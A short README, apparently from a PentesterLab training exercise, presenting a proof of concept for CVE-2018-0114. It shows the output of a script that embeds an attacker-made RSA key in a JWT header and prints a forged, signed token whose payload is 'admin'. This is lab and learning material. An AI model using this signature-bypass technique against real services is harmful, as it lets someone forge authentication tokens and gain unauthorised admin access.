
A PoC of CVE-2018-0114 I made for PentesterLab
Wrote this for PentesterLab
If you are from PentesterLab's don't cheat, it's alot better to learn.
Hope it's useful to someone, if not to me in the future :)
$ python3 script.py
Making keys...
{'alg': 'RS256', 'jwk': {'kty': 'RSA', 'kid': '[email protected]', 'use': 'sig', 'n': 'ieY5-f_vr1cmwpPl-ACY3FFiLqd4cl5bLVtVMA5tx5A47mG-PRsNg3h-IiX0bTe6xcYDadRyVPRtSwoA6aExUQ', 'e': 'AQAB'}}
Header made!
jwtp1: b'eyJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJzZWFsQHNlYWxsLmRldiIsInVzZSI6InNpZyIsIm4iOiJpZVk1LWZfdnIxY213cFBsLUFDWTNGRmlMcWQ0Y2w1YkxWdFZNQTV0eDVBNDdtRy1QUnNOZzNoLUlpWDBiVGU2eGNZRGFkUnlWUFJ0U3dvQTZhRXhVUSIsImUiOiJBUUFCIn19.YWRtaW4'
signed it
eyJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJzZWFsQHNlYWxsLmRldiIsInVzZSI6InNpZyIsIm4iOiJpZVk1LWZfdnIxY213cFBsLUFDWTNGRmlMcWQ0Y2w1YkxWdFZNQTV0eDVBNDdtRy1QUnNOZzNoLUlpWDBiVGU2eGNZRGFkUnlWUFJ0U3dvQTZhRXhVUSIsImUiOiJBUUFCIn19.YWRtaW4.aigT6w7ZUZhY96Zm-_LZ5GZA1giN-rMmjxSvqY_ME1pqxemPKYS1JZEMneEpQBpX_xmNufSbAQjwBD1v7xhszg